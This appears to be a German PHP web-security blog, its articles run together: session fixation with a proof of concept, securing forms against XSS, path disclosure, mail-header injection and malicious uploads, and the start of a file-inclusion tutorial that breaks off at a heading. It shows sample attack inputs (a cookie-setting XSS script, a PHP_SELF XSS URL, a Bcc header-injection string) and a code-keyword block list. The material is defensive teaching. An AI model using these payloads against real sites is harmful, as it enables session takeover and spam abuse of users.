Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.

Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabhängig voneinander betrachtet. Zudem können Benutzer nicht eindeutig identifiziert werden.

Für diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung während einer Session (Sitzung) speichern können und somit eine zusammenhängende Kommunikation ermöglichen.

Sessions sind aber nicht nur nützlich, sondern auch ein beliebtes Ziel von Anfreifern. Es gibt verschiedene Angriffsmethoden. In diesem Artikel geht es um Session Fixation.

Sessions allgemein

Session Files

Durch eine Session können einem Benutzer Sitzungsdaten zugeordnet werden, die auf dem Server in sogenannte Session Files (temporär) gespeichert werden.

Solche Sitzungsdaten werden von einer Webanwendung erstellt. In PHP werden diese Daten im superglobalen Array $_SESSION übertragen.

Session-ID (SID)

Die Authentifizierung findet während einer Session über die Session-ID statt. Die Session-ID ist also wie ein Passwort, das für kurze Zeit gültig ist.

Kennt ein Angreifer die Session-ID, kann er die aktuelle Sitzung übernehmen, indem sein Client (Browser) die selbe Session-ID zum Kommunizieren mit dem Webserver verwendet.

PHP erzeugt eine Session-ID mit einer Länge von 32 Zeichen. Das Erraten ist also praktisch unmöglich und Brute-Force Attacken werden wahrscheinlich auch nicht gelingen.

Die Session-ID wird üblicherweise in Cookies oder in der URL per GET-Parameter übertragen. Die Übertragung per POST-Methode ist allerdings auch möglich.

Sessionverwaltung in PHP

Zur Initialisierung einer Session wird in PHP die Funktion session_start() verwendet.

<?php
  session_start();
  ...
?>

Wenn noch keine Session existiert, wird dem Client eine eindeutige Session-ID zugewiesen. Liefert der Client allerdings eine gültige Session-ID mit, wird die aktuelle Session wieder aufgenommen!

session_start() erzeugt eine Session oder nimmt die aktuelle wieder auf, die auf der Session-ID basiert, die mit einer Anfrage, z.B. durch GET, POST oder ein Cookie, übermittelt wurde. - Quelle: php.net

Die Session-ID kann mit der Funktion session_id() ausgelesen werden.

<?php
  ...
  echo session_id();
?>

Mit unset() können Session Variablen gelöscht werden.

<?php
  ...
  unset($_SESSION['foo']);
?>

Mit session_destroy() werden alle aktuellen Sitzungsdaten gelöscht.

<?php
  ...
  session_destroy();
?>

Bei php.net gibt es eine Liste mit weiteren Session Funktionen.

Session Fixation

Bei einer Session Fixation gibt ein Angreifer eine Session-ID vor und versucht diese fixierte Session-ID einem Benutzer unterzujubeln.

Der Vorteil von Angreifern ist, dass PHP jede beliebige übermittelte Session-ID akzeptiert.

In der folgenden Grafik wird veranschaulicht, wie die einfachste Form eines Session Fixation Angriffs aussieht. Hier wird die Session-ID in der URL übertragen.

Schauen wir uns die einzelnen Schritte etwas genauer an.

1. Der Angreifer schickt eine präparierte URL in Form eines Links an sein Opfer, die zu einem Loginbereich einer Online Banking Website führt, wo das Opfer registriert ist. In der URL befindet sich die fixierte Session-ID (1234).

2. Das Opfer ruft den präparierten Link auf. An dieser Stelle erkennt der Webserver bereits die Session-ID und weist sie einer Session zu.

3. Das Opfer loggt sich mit seinen Logindaten ein.

4. Der Angreifer ruft nun mit der selben Session-ID eine Seite des Loginbereichs auf. Der Webserver erkennt die gültige Session-ID, die bereits einer Session zugewiesen ist. Die Webanwendung stellt fest, dass gültige Sitzungsdaten existieren und es sich um den eingeloggten Benutzer "Max Mustermann" handelt. Der Angreifer ist nun also mit den Daten seines Opfers eingeloggt und kann mit dem Account anstellen, was er will.

Proof-Of-Concept

Folgendes Code-Beispiel soll das ganze praktisch demonstrieren. Hierzu sind folgende Einstellungen in der php.ini notwendig, damit die Session-ID in der URL übertragen wird.

session.use_cookies = 0
session.use_only_cookies = 0
session.name = PHPSESSID

<?php
  session_start();

  if(!empty($_SESSION['userid']))
    echo 'Willkommen zurueck! ID: ' . $_SESSION['userid'];
  else
  {
    $_SESSION['userid'] = md5(uniqid(mt_rand(), true));
    echo '<p>Du bist neu hier. Deine neue ID: ' . $_SESSION['userid'] . '</p>';
    echo '<p>Session-ID: ' . session_id() . '</p>';
  }
?>

Das ganze können wir jetzt einfach mit zwei verschiedenen Browsern testen.

Browser1 = Opfer
Browser2 = Angreifer

Zuerst wird die Session-ID vom Angreifer bestimmt.

login.php?PHPSESSID=5678

Nun rufen wir die URL in Browser1 auf.

Du bist neu hier. Deine neue ID: 9eb47aed86421db352d3e2c7753c121b

Session-ID: 5678

Rufen wir die URL erneut auf, werden wir identifiziert.

Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b

Wenn wir die URL nun mit der selben Session-ID (5678) in Browser2 aufrufen, werden wir ebenfalls identifiziert und erhalten die gleiche Ausgabe.

Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b

Bei einem Loginscript wären wir jetzt mit Browser2 eingeloggt.

Session-ID in der URL

Werden Session-IDs in der URL übertragen, gibt es noch weitere Gefahren. Zum Beispiel die sogenannte Self Exploitation. Interessante Links werden gerne mal in Foren, Blogs, Twitter, etc. weitergegeben. Und was ist der einfachste Weg? Genau, die URL aus der Adresszeile kopieren. Jeder, der den Link aufruft, übernimmt die Session.

Sehr kritisch wird es, wenn andere Methoden (aus)genutzt werden. Zum Beispiel könnte ein Angreifer HTTP Weiterleitungen in PHP Anwendungen (z.B. Foren) ausnutzen. Dann müsste er noch nicht einmal jemanden dazu bringen, die präparierte URL aufzurufen.

Session-ID in Cookies

Wenn die Session-ID in einem Cookie übertragen wird, ist Session Fixation ohne weiteres nicht möglich. Die Betonung liegt hier auf "ohne weiteres", denn mit einer einfachen XSS Sicherheitslücke auf der Zielseite, sieht die Sache schon wieder anders aus.

Ein Angreifer könnte durch injizierten JavaScript Code sein Opfer dazu bringen das entsprechende Cookie zu setzen.

<script>document.cookie='PHPSESSID=1234';</script>

Das Kombinieren von Sicherheitslücken kann sehr effektiv sein kann.

Gegenmaßnahmen

Session Fixation ist im Gegensatz zu anderen Angriffsmethoden auf Sessions wie z.B. Session Hijacking ziemlich leicht zu verhindern.

Man könnte das Übermitteln der Session-ID per URL deaktivieren. Das geht ganz einfach, indem man den Wert von session.use_only_cookies in der php.ini auf 1 setzt.

Hat man kein Zugriff auf die php.ini, kann man das ganze auch im Script mit ini_set() regeln. Wichtig ist, dass das ganze vor dem Aufruf von session_start() geschieht.

<?php
  ini_set('session.use_only_cookies', 1);
  session_start();
  ...
?>

Das verhindert aber immer noch nicht Session Fixation, da (wie bereits erwähnt) mithilfe von anderen Sicherheitslücken die Session-ID in einem Cookie injiziert werden kann.

Session-ID Regenerierung

Ein sicherer und effizienter Schutz gegen Session Fixation ist die Session-ID Regenerierung. Bei jeder Authentifizierung ersetzen wir die Session-ID durch eine neue.

Dazu wird die Funktion session_regenerate_id() verwendet.

Die Funktion session_regenerate_id() ersetzt die aktuelle Session-ID durch eine neue und übernimmt die aktuellen Session-Informationen. - Quelle: php.net

Der Angreifer schickt eine präparierte URL mit einer fixierten Session-ID an sein "Opfer". Das "Opfer" loggt sich ein und erhält eine neue Session-ID. Die alte, fixierte Session-ID ist für den Angreifer somit nutzlos.

Bei erfolgreichem Login ersetzen wir also die Session-ID. Zudem sollten bei einem Logout immer alle Sitzungsdaten gelöscht werden.

<?php
  session_start();

  // fixierte Session-ID vom Angreifer:

  echo '<p>Alte Session-ID: ' . session_id() . '</p>';

  // Login

  ...

  // wenn Login erfolgreich, neue Session-ID und Session Variable:

  if(empty($_SESSION['user']))
  {
    session_regenerate_id();
    echo '<p>Neue Session-ID: ' . session_id() . '</p>';

    // Session Variable zur Identifikation eines eingeloggten Benutzers definieren:
    $_SESSION['user'] = true;
  }

  // bei jedem Request überprüfen, ob es sich um einen eingeloggten Benutzer handelt:
  if(!empty($_SESSION['user']))
  {
    // Benutzer ist eingeloggt, da die Session Variable existiert!
    ...
  }

  // Logout:
  session_destroy();
?>

Das war's soweit für den ersten Teil zum Thema Session Sicherheit in PHP.

Auch interessant:

• Sicherheitslücken kombinieren
• 10 Mythen zum Thema Web Security
• Über Web-Tuts.de
• CSS History Hacks – Auslesen von besuchten Webseiten
• Bulletproof Contact Form

Schutz vor Uploads von unerwünschten Dateien

Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, mit denen sie Kontrolle über Dateien auf dem Webserver erlangen können.

In dem Artikel über Local / Remote File Inclusion habe ich bereits gezeigt, wie versierte Angreifer eigenen Code injizieren können. Bei einem ungeschützten Upload-Formular haben es (auch unerfahrene) Angreifer viel leichter, da sie gar nichts injizieren brauchen.

Hierzu ein kleines Beispiel (basierend auf dem Basis-Formular - siehe Teil 1).

<?php
  //...
  if(move_uploaded_file($_FILES['datei']['tmp_name'], 'uploads/' . basename($_FILES['datei']['name'])))
    echo 'Die Datei wurde erfolgreich hochgeladen.';
?>

Die Funktion move_uploaded_file() ermöglicht den Upload. Als zweiter Parameter wird das Verzeichnis und der Dateiname angegeben, wo die Datei hin verschoben werden soll. In diesem Fall im Verzeichnis uploads/ unter dem selben Dateinamen.

Hinweis: Das angegebe Verzeichnis muss ausreichende Schreibrechte haben.

Da hier keine Überprüfung stattfindet, können beliebige Dateien hochgeladen werden. Um das zu verhindern, müssen wir erstmal wissen, welche Dateien überhaupt hochgeladen werden sollen. Bilder? Archive? Textdateien? Außerdem stellt sich die Frage, was mit den hochgeladenen Dateien angestellt werden soll. Sind sie im Web erreichbar oder werden sie irgendwo außerhalb des Document Roots auf dem Server gespeichert? Oder werden sie nur temporär gespeichert und als Dateianhang per E-Mail verschickt?

In diesem Beispiel sollen auschließlich Bilder hochgeladen werden, die anschließend auf einer Webseite dargestellt werden.

Maximale Dateigröße überprüfen / bestimmen

Als erstes überprüfen wir die erlaubte Dateigröße. Dazu schauen wir uns den Wert der Direktive upload_max_filesize in der Konfigurationsdatei php.ini an. Wer keinen Zugriff auf diese Datei hat, kann den Wert auch einfach mit PHP ausgeben lassen:

<?php
  echo ini_get('upload_max_filesize')
?>

Standardmäßig sind 2 MB erlaubt (upload_max_filesize = 2M). 2 MB sind für Bilder denke ich mal okay. Ist dort ein höherer Wert angegeben, sollte man ihn ändern und wer keinen Zugriff auf die php.ini hat, sollte das ganze per .htaccess realisieren:

php_value upload_max_filesize 2M

Dateiendung überprüfen

Als nächstes überprüfen wir die Dateiendung. Da wir wissen, welche Dateiendungen Bilder haben, können wir eine White-List mit erlaubten Dateiendungen erstellen.

<?php
  //...
  $erlaubt = array('.jpg', '.jpeg', '.gif', '.png');
  $dateiendung = strtolower(strrchr($_FILES['datei']['name'], '.'));
  if(!in_array($dateiendung, $erlaubt))
    die('Ungueltiges Dateiformat! Erlaubte Dateiformate: JPG, GIF, PNG');
?>

Dateiinformationen überprüfen

Nun überprüfen wir noch, ob es sich um ein valides Bild handelt. Dazu eignet sich die Funktion getimagesize() - auch wenn diese nicht zu 100% zuverlässig ist.

<?php
  //...
  if(!getimagesize($_FILES['datei']['tmp_name']))
    die('Ungueltiges Dateiformat!');
?>

Außerdem überprüfen wir den Inhalt der Datei, um evtl. Code Injection zu entdecken. Dies dient nur als zusätzlicher Schutz, um Angreifern die Ausnutzung von anderen Sicherheitslücken (z.B. LFI) zu erschweren.

<?php
  //...
  $file = fopen($_FILES['datei']['tmp_name'], 'rb');
  $contents = fread($file, filesize($_FILES['datei']['tmp_name']));
  fclose($file);

  $check = array('<script', 'javascript:', '<?php', '$_GET', '$_POST', '$_COOKIE', '$_SERVER', '$HTTP', 'system(', 'exec(', 'passthru', 'eval(', '<input', '<frame', '<iframe', 'http://');
  foreach($check as $chk)
    if(strpos($contents, strtolower($chk)) !== false)
      die('Code Injection erkannt!');
?>

Eindeutige Dateinamen vergeben

Nachdem wir alles validiert haben, können wir nun die move_uploaded_file() Funktion verwenden, um die temporäre Datei in unser gewünschtes Verzeichnis zu verschieben.

Um zu verhindern, dass vorhandene Dateien mit dem selben Dateinamen überschrieben werden, geben wir der hochgeladenen Datei einen generierten und eindeutigen Dateinamen. Das können wir mit uniqid() erledigen. Und um auf nummer sicher zu gehen, verwenden wir noch mt_rand() und verschlüsseln das ganze mit md5().

Für die Dateiendung verwenden wir die zuvor definierte Variable $dateiendung.

<?php
  //...
  $dateiname = md5(uniqid(mt_rand(), true)) . $dateiendung;
  if(move_uploaded_file($_FILES['datei']['tmp_name'], 'uploads/' . $dateiname))
    echo 'Die Datei wurde erfolgreich hochgeladen.';
  else
    die('Fehler beim Hochladen der Datei!');
?>

Wer für den Upload den selben Dateinamen verwenden will und in der Funktion move_uploaded_file() die Variable $_FILES['datei']['name'] nutzt, sollte unbedingt (wie im ersten Code-Beispiel zu sehen ist) die Funktion basename() verwenden, da ansonsten eine kritische Sicherheitslücke entsteht. Angreifer könnten wichtige, vorhandene Dateien in anderen Verzeichnissen überschreiben.

Schutz vor Spam und DoS - CAPTCHAs

CAPTCHAs werden zum Schutz vor Spambots und Denial of Service (DoS) Angriffen verwendet. Wie man sowas in PHP realisiert werde ich in einem eigenen Artikel genauer erklären. An dieser Stelle möchte ich nur einmal auf Google's reCAPTCHA hinweisen.

Rechenaufgaben und Fragen als Alternative

Oft reicht es auch aus, normale Rechenaufgaben oder einfache Fragen zu verwenden.

Das könnte z.B. so aussehen:

<?php
  session_start();

  function newSession()
  {
    $_SESSION['zahl1'] = mt_rand(1, 100);
    $_SESSION['zahl2'] = mt_rand(1, 100);
    $_SESSION['ergebnis'] = $_SESSION['zahl1'] + $_SESSION['zahl2'];
  }

  if(!isset($_SESSION['ergebnis']))
    newSession();

  //...
  if(isset($_POST['code']))
  {
    if((int)$_POST['code'] != $_SESSION['ergebnis'] ||
       strpos($_POST['code'], '.') !== false ||
       !is_numeric($_POST['code']) || is_array($_POST['code']))
    {
      echo 'Falsches Ergebnis!';
      unset($_SESSION['zahl1']);
      unset($_SESSION['zahl2']);
      unset($_SESSION['ergebnis']);
      newSession();
    }

    else
    {
      echo 'Richtig!';
      session_destroy();
      // Daten verarbeiten
      exit;
    }
  }

  $rechenaufgabe = $_SESSION['zahl1'] . ' + ' . $_SESSION['zahl2'] . ' = ';
?>

<form action="" method="post">
  <?php echo $rechenaufgabe; ?><input type="text" name="code" maxlength="3" />
  <input type="submit" name="form" value="Daten absenden" />
</form>

Natürlich wär es sinnvoll hier noch eine IP-Sperre nach x gescheiterten Versuchen einzubauen, da Spambots mit normalen Rechenaufgaben keine Probleme haben sollten. Allerdings kann man die Rechenaufgabe auch in Unicode oder mit JS ausgeben

<?php
  function unicode($ascii)
  {
    $unicode = '';
    for($i = 0; $i < strlen($ascii); $i++)
      $unicode .= '&#' . ord(substr($ascii, $i, 1)) . ';';

    return $unicode;
  }

  //...

  $rechenaufgabe = $_SESSION['zahl1'] . ' + ' . $_SESSION['zahl2'] . ' = ';
  $rechenaufgabe = unicode($rechenaufgabe);

  //...
?>

Aus 55 + 52 =  wird dann folgendes.

55 + 52 = 

Auch wenn ein richtiges CAPTCHA um einiges sicherer ist, reichen solche einfachen Alternativen meiner Erfahrung nach meistens aus.

Fertiges Kontaktformular - einfach und sicher

Wie versprochen habe ich ein fertiges Script geschrieben, das ihr euch hier downloaden könnt. Das ganze sieht ungefähr so aus:

Es ist nur eine Datei und läuft ohne Datenbank. Das Formular kann bequem mit einer PHP Include-Funktion in einer Webseite eingebunden werden.

Das einzige, das ihr an dem Script ändern müsst, ist eure E-Mail Adresse und wenn ihr wollt den Betreff der E-Mail.

<?php
  define('EMPFAENGER', 'empfaenger@example.com'); // Deine E-Mail Adresse
  define('BETREFF', 'Neue Nachricht - Kontaktformular'); // Betreff der E-Mail
?>

Ich erstelle bald eine Download Seite, da gibt's dann nochmal ne ausführliche Beschreibung. Ansonsten einfach hier per Kommentar melden

Auch interessant:

• Sichere Formulare – Teil 1
• 10 Mythen zum Thema Web Security
• Content-Spoofing – Teil 2 – Phishing
• Content-Spoofing – Teil 1 – JavaScript
• Content-Spoofing – Teil 3 – HTTP Redirects

Auf sehr vielen (dynamischen) Websites werden Formulare verwendet. Häufig sind sie da, um Benutzereingaben an eine Webanwendung zu übermitteln.

Da viele Sicherheitslücken in Webanwendungen durch ungefilterte bzw. nicht-validierte Benutzereingaben entstehen, sind besonders Formulare ein beliebtes Ziel von Angreifern.

In diesem Artikel wird gezeigt, wie Formulardaten sicher mit PHP verarbeitet werden, um Sicherheitslücken (und Spam) zu vermeiden (Teil 1/2).

Grundlegende PHP-Kenntnisse sollten vorhanden sein bzw. sind von Vorteil.

Basis-Formular

Folgendes Basis-Formular dient in diesem Artikel als Beispiel.

<form action="" method="post" enctype="multipart/form-data">
  <label for="name">Name:</label>
  <input type="text" name="name" id="name" /><br /><br />

  <label for="email">E-Mail:</label>
  <input type="text" name="email" id="email" /><br /><br />

  <label for="url">URL:</label>
  <input type="text" name="url" id="url" /><br /><br />

  <label for="text">Text:</label>
  <textarea cols="50" rows="10" name="text" id="text"></textarea><br /><br />

  <label for="datei">Datei:</label>
  <input type="file" name="datei" id="datei" /><br /><br />

  <input type="submit" name="form" value="Daten absenden" />
</form>

Im Browser sieht das ganze (formatiert) so aus:

Schutz vor Cross-Site Scripting (XSS)

Wenn Benutzereingaben wieder ausgegeben werden, müssen sie vorher ausreichend gefiltert werden, um XSS zu verhindern.

Dazu eignen sich die Funktionen htmlspecialchars() und htmlentities(). Diese Funktionen wandeln bestimmte Sonderzeichen in HTML-Codes um.

<?php
  if(isset($_POST['name']) && !empty($_POST['name']))
    echo htmlentities($_POST['name']);
?>

Hierbei muss man beachten, dass diese Funktionen standardmäßig keine einfachen Anführungszeichen (Single Quotes) umwandeln.

Damit auch Single Quotes umgewandelt werden, muss der Modus ENT_QUOTES als Parameter an die Funktionen übergeben werden.

<?php
  // ...
  $name = htmlentities($_POST['name'], ENT_QUOTES);
  echo "<input type='text' name='name' value='$name' />";
  // ...
?>

Oft kommt es auch vor, dass im action-Attribut des Formulars die Variable $_SERVER['PHP_SELF'] verwendet wird. Diese Variable enthält den Dateinamen des aktuell ausgeführten Scripts, relativ zum Document Root.

Auch diese Variable ist anfällig für XSS. Ein Angreifer könnte z.B. beliebigen JavaScript Code direkt in der URL übergeben.

vuln.php/"><script>alert('XSS');</script>

Die Variable $_SERVER['PHP_SELF'] muss also auch vor der Ausgabe gefiltert werden.

<form action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" method="post">

Allerdings gibt es hierbei ein weiteres Problem bei alten PHP Versionen. Durch anhängen von Slashes könnte dem action-Attribut eine externe URL zugewiesen werden. Angreifer könnten somit die eingegebenen Daten empfangen und auslesen.

Eine sichere Alternative wär hier sinnvoller. In den meisten Fällen reicht ein leerer String oder für die eigene Verwendung eine statische Angabe.

Soweit zum Schutz vor XSS auf der Webseite. Doch wie sieht es mit dem E-Mail Client aus? Die meisten E-Mail Clients unterstützen HTML-Mails. Wenn Benutzereingaben in E-Mails wieder ausgegeben werden, müssen diese auch ausreichend gefiltert werden. Allerdings nur dann, wenn es sich auch wirklich um HTML-Mails handelt.

<?php
  // ...
  $header = 'Mime-Version: 1.0' . "\r\n";
  $header .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  $nachricht = htmlentities($_POST['text']);
  mail('empfaenger@example.com', 'Betreff', $nachricht, $header);
?>

Schutz vor Full Path Disclosure

Full Path Disclosure gehört zwar zu den "harmlosen" Sicherheitslücken, man sollte sie aber nicht unterschätzen. In dem Artikel Sicherheitslücken kombinieren habe ich bereits gezeigt, wie aus harmlosen Sicherheitslücken kritische werden können.

Durch Full Path Disclosure (oder allgemein Information Disclosure) können Angreifer den vollständigen Pfad auslesen. Manchmal müssen Angreifer sogar den Pfad kennen, damit sie andere Sicherheitslücken ausnutzen können.

In den obigen Beispielen zum Schutz vor XSS haben wir die Funktion htmlentities() verwendet. Diese Funktion erwartet als Parameter einen String. Ein Angreifer kann aber auch ein Array übergeben, was zur Fehlermeldung und somit zu Full Path Disclosure führt (solange Fehlermeldungen ausgegeben werden).

Um die Ausgabe von Fehlermeldungen zu unterbinden, gibt es mehrere Möglichkeiten.

Wer Zugriff auf die PHP-Konfigurationsdatei (php.ini) hat, kann die Direktive display_errors auf Off setzen. Dadurch werden Fehlermeldungen global unterbunden.

Ansonsten kann man die Funktion error_reporting() nutzen und die Ausgabe von Fehlermeldungen zur Laufzeit unterbinden. Dazu übergibt man der Funktion den Wert 0.

<?php
  error_reporting(0);
  // ...
?>

Zusätzlich könnte man in der if-Abfrage überprüfen, ob es sich um ein Array handelt oder nicht. Dazu eignet sich die Funktion is_array().

<?php
  if(isset($_POST['name']) && !empty($_POST['name']) && !is_array($_POST['name']))
    echo htmlentities($_POST['name']);
?>

Tipp: Während der Entwicklung / während des Debuggens sollte man immer Fehler- und Warnmeldungen ausgeben lassen. So kann man z.B. error_reporting(E_ALL) verwenden und später in error_reporting(0) umändern.

Weitere Möglichkeiten

Eine weitere Möglichkeit bietet der @-Operator. Anstatt htmlentities() verwendet man einfach @htmlentities(). Das gleiche gilt für andere Funktionen.

Ansonsten kann man auch das Type Casting nutzen und der Variable einen expliziten Datentyp (in diesem Fall string) zuweisen.

Schutz vor Mail-Header Injection

E-Mails bestehen genau wie Webseiten aus einem Header und einem Body. Im Header werden bestimmte Daten, wie z.B. die Absender-Adresse und das Datum übertragen.

Bei einer Mail-Header Injection manipulieren Angreifer (bzw. Spamer oder Spambots) den Mail-Header. Meistens wird dies ausgenutzt, um Spam-Mails zu versenden. Es ist allerdings noch weitaus mehr möglich.

In PHP gibt es für das Versenden von E-Mails die Funktion mail(). Werden ungefilterte Benutzereingaben an diese Funktion übergeben, ist Mail-Header Injection möglich, da die mail() Funktion die übergebenen Parameter ungeprüft an den Mailserver schickt.

<?php
  // ...
  $nachricht = htmlentities($_POST['text']);
  $email = htmlentities($_POST['email']);
  mail('empfaenger@example.com', 'Betreff', $nachricht, 'From: ' . $email);
?>

Da Header-Einträge in E-Mails mit einem Zeilenumbruch voneinander getrennt werden, injizieren Angreifer einen Zeilenumbruch (Hexadezimal: %0A), gefolgt von beliebigen Header-Einträgen.

Mit dem CC-Feld bzw. BCC-Feld kann eine Kopie der E-Mail an eine oder mehrere E-Mail Adressen gesendet werden. Diese Felder nutzen Spamer, um Spam-Mails zu versenden (wie am folgenden Beispiel zu sehen ist).

Ein Angreifer / Spamer könnte folgenden String im Formular als E-Mail angeben.

absender@example.com%0ABcc:empfaenger1@xy.tld, empfaenger2@xy.tld

Hier wird eine Kopie der E-Mail an empfaenger1@xy.tld und empfaenger2@xy.tld gesendet. Das BCC-Feld ermöglicht eine Blindkopie; die Empfänger sehen nicht, dass die E-Mail auch an andere Adressen gesendet wurde.

Bei Wikipedia findet man eine Liste von möglichen Header-Einträgen.

Wer genau hinschaut wird feststellen, dass der String kein Zeichen enthält, welches die Funktion htmlentities() umwandeln würde. htmlentities() bietet gegen Mail-Header Injection keinen Schutz! Wir müssen eigene Funktionen zur Filterung / Validierung schreiben.

Hierbei sollte man beachten, dass manche Systeme auch andere Zeichen als Zeilenumbruch interpretieren könnten (z.B. Carriage Return - %0D).

Wichtig: Für einen sicheren Schutz gegen Mail-Header Injection muss jeder Parameter der mail() Funktion validiert / gefiltert werden, der Benutzereingaben enthält.

<?php
  setlocale(LC_ALL, 'de_DE');

  function checkMailParam($val, $type)
  {
    $a  = '/(%0A|\r|%0D|\n|%00|\0|%09|\t)/ims';
    $b  = '/(cc:|bcc:|from:|to:|reply-to:|subject:|sender:'.
          '|content-type:|content-transfer-encoding:|mime-version:)/ims';
    $blacklist = ($type != 'msg') ? $a : $b;   

    $val = preg_replace($blacklist, '', $val); 

    if($type == 'mail')
    {
      if(preg_match('/^[\w.+-]{1,64}\@[\w.-]{1,255}\.[a-z]{2,6}$/', $val))
        return true;
    }

    else if($type == 'subject')
    {
      if(preg_match('/^[[:print:]]{3,}$/', $val))
        return true;
    }

    else if($type == 'msg')
    {
      if(preg_match('/^[[:print:][:space:]]{5,}$/', $val))
        return true;
    }

    else
      return false;
  }

  if(checkMailParam($_POST['text'], 'msg') && checkMailParam($_POST['email'], 'mail'))
  {
    $nachricht = htmlentities($_POST['text']);
    $email = htmlentities($_POST['email']);
    mail('empfaenger@example.com', 'Betreff', $nachricht, 'From: ' . $email);
  }
?>

Als erstes nutzen wir die Funktion setlocale(), damit Umlaute, etc. korrekt verarbeitet werden. Dann folgt unsere eigene Funktion checkMailParam(), in der wir die möglichen Benutzereingaben für die mail() Funktion validieren und filtern. Zuerst werden alle Zeichen, die bei einer Mail-Header Injection typisch sind, durch einen leeren String ersetzt. Anschließend werden die Daten mit Regulären Ausdrücken überprüft - z.B. ob es sich um eine gültige E-Mail Adresse handelt. Ist dies der Fall, wird true zurück gegeben.

Diese Funktion nutzen wir anschließend in einer if-Abfrage. Erst wenn die Daten validiert und gefiltert wurden, wird die mail() Funktion aufgerufen.

Ausblick auf Teil 2

Das war es soweit für den ersten Teil.

Im zweiten Teil geht es um File Uploads und CAPTCHAs. Zum Schluß werd ich dann ein fertiges Formular-Script bereitstellen (evtl. später auch als WP-PlugIn ).

Auch interessant:

• Sichere Formulare – Teil 2
• 10 Mythen zum Thema Web Security
• Content-Spoofing – Teil 2 – Phishing
• Content-Spoofing – Teil 1 – JavaScript
• Content-Spoofing – Teil 3 – HTTP Redirects

In diesem Tutorial geht es um File Inclusion in PHP-Anwendungen.

Das Tutorial beinhaltet zwar fortgeschrittene Techniken, richtet sich jedoch auch an Einsteiger, da zuerst Grundlagen behandelt werden.

Grundlegende Kenntnisse in PHP sollten vorhanden sein. Kenntnisse in anderen Sprachen, wie HTML, JS und Perl sind von Vorteil, aber nicht zwingend erforderlich.

Zuerst gibt es eine Einführung in das Thema. Danach werden allgemeine Vorgehensweisen zur Ausnutzung von File Inclusion Sicherheitslücken anhand von praktischen Beispielen demonstriert.

Anschließend folgen einige fortgeschrittene Techniken, die versierte Angreifer ausnutzen - wie zum Beispiel das Einschleusen von eigenen Code oder die Umgehung von unzureichenden Schutzmaßnahmen.

Inhalts-Übersicht

Was ist File Inclusion?
Include Funktionen in PHP
Wodurch entstehen File Inclusion Sicherheitslücken?
Allgemeine Vorgehensweisen
Grundlegende Angriffstechniken
Fortgeschrittene Angriffstechniken
Gegenmaßnahmen

Was ist File Inclusion?

File Inclusion beschreibt eine Sicherheitslücke in Webanwendungen, die es Angreifern ermöglicht, Dateien (und somit auch Code) in einem Script einzubinden.

Man unterscheidet zwischen Local und Remote File Inclusion. Bei Local File Inclusion lassen sich - im Gegensatz zu Remote File Inclusion - nur lokale Dateien einbinden.

File Inclusion Sicherheitslücken sind allgemein kritisch zu betrachten.

Local File Inclusion

Local File Inclusion (kurz: LFI) ist eine Sicherheitslücke, mit der Angreifer ausschließlich lokale Dateien in einem Script einbinden können.

Dadurch lassen sich beispielsweise Inhalte aus Dateien, welche sich auf dem Server befinden, auslesen. Das können Passwortdateien, Konfigurationsdateien oder andere Dateien mit sensiblen Informationen sein.

Sollten die eingebundenen Dateien PHP Code oder clientseitigen Code beinhalten, den der Webserver/Browser interpretieren kann, wird dieser ausgeführt. Somit lassen sich also auch vorhandene PHP Dateien einbinden und ausführen.

Versierte Angreifer können durch diverse Techniken auch eigenen Code einschleusen, der mithilfe einer LFI Sicherheitslücke ausgeführt werden kann.

Remote File Inclusion

Mit Remote File Inclusion (kurz: RFI) können Angreifer auch entfernte Dateien einbinden, die sich auf anderen Servern befinden. Somit ist es natürlich sehr leicht eigenen, beliebigen Code einzuschleusen.

Meistens werden sogenannte Webshells (bzw. PHP Shells) eingebunden, mit denen Angreifer in einem übersichtlichen Interface sämtliche Aktionen durchführen können, wie z.B. das Ausführen von System-Befehlen oder das Uploaden, Editieren, ... von Dateien.

Remote File Inclusion ist nur möglich, wenn allow_url_fopen und allow_url_include in der PHP-Konfiguration (php.ini oder httpd.conf) auf On gesetzt sind.

RFI ist allgemein etwas kritischer zu betrachten, da auch unerfahrene Angreifer (sogenannte "Script-Kiddies") problemlos eigenen Code einschleusen können.

Include Funktionen in PHP

In PHP gibt es mehrere Funktionen, mit denen Dateien in einem Script eingebunden werden können. Diese Funktionen werden sehr häufig von Programmierern verwendet, da sie eine Modularisierung* in Webanwendungen ermöglichen.

* Mit Modularisierung ist die Aufteilung des Source Codes gemeint.

In PHP gibt es folgende Include Funktionen:

• include
• include_once
• require
• require_once
• virtual

include

Die Funktion include bindet eine übergebene Datei ein. Wird diese nicht gefunden, wird eine Warnmeldung ausgegeben. Der weitere Code wird ausgeführt.

include_once

Die Funktion include_once ist identisch mit der Funktion include - mit dem einzigen Unterschied, dass der Code der eingebundenen Datei im Scriptverlauf nur einmal ausgeführt wird.

require

Die Funktion require macht genau das selbe, wie die Funktion include - allderings mit einem großen Unterschied: Wird die übergebene Datei nicht gefunden, wird ein Fatal Error verursacht und die Ausführung des Scripts wird sofort abgebrochen.

require_once

Die Funktion require_once ist identisch mit der Funktion require - der Code wird hier allerdings auch nur einmal im Scriptverlauf ausgeführt.

virtual

Die Funktion virtual ist etwas anders, als die üblichen Include Funktionen. Sie funktioniert nur, wenn PHP als Apache-Modul installiert wurde.

Sie führt eine Apache-Unteranfrage aus - dies ist zum Beispiel bei CGI-Scripten hilfreich, die vom Apache geparst werden sollen.

Natürlich lassen sich hiermit auch PHP Dateien einbinden (und PHP Code ausführen).

Im Gegensatz zu anderen Include Funktionen, verhält sich diese Funktion bei bestimmten Dateiendungen etwas anders. Bindet man beispielsweise eine .txt-Datei ein, die PHP Code beinhaltet, wird dieser nicht ausgeführt. Der PHP Code ist dagegen im Quelltext zu sehen und ermöglicht somit das Auslesen von sensiblen Informationen (File Disclosure).

Wodurch entstehen File Inclusion Sicherheitslücken?

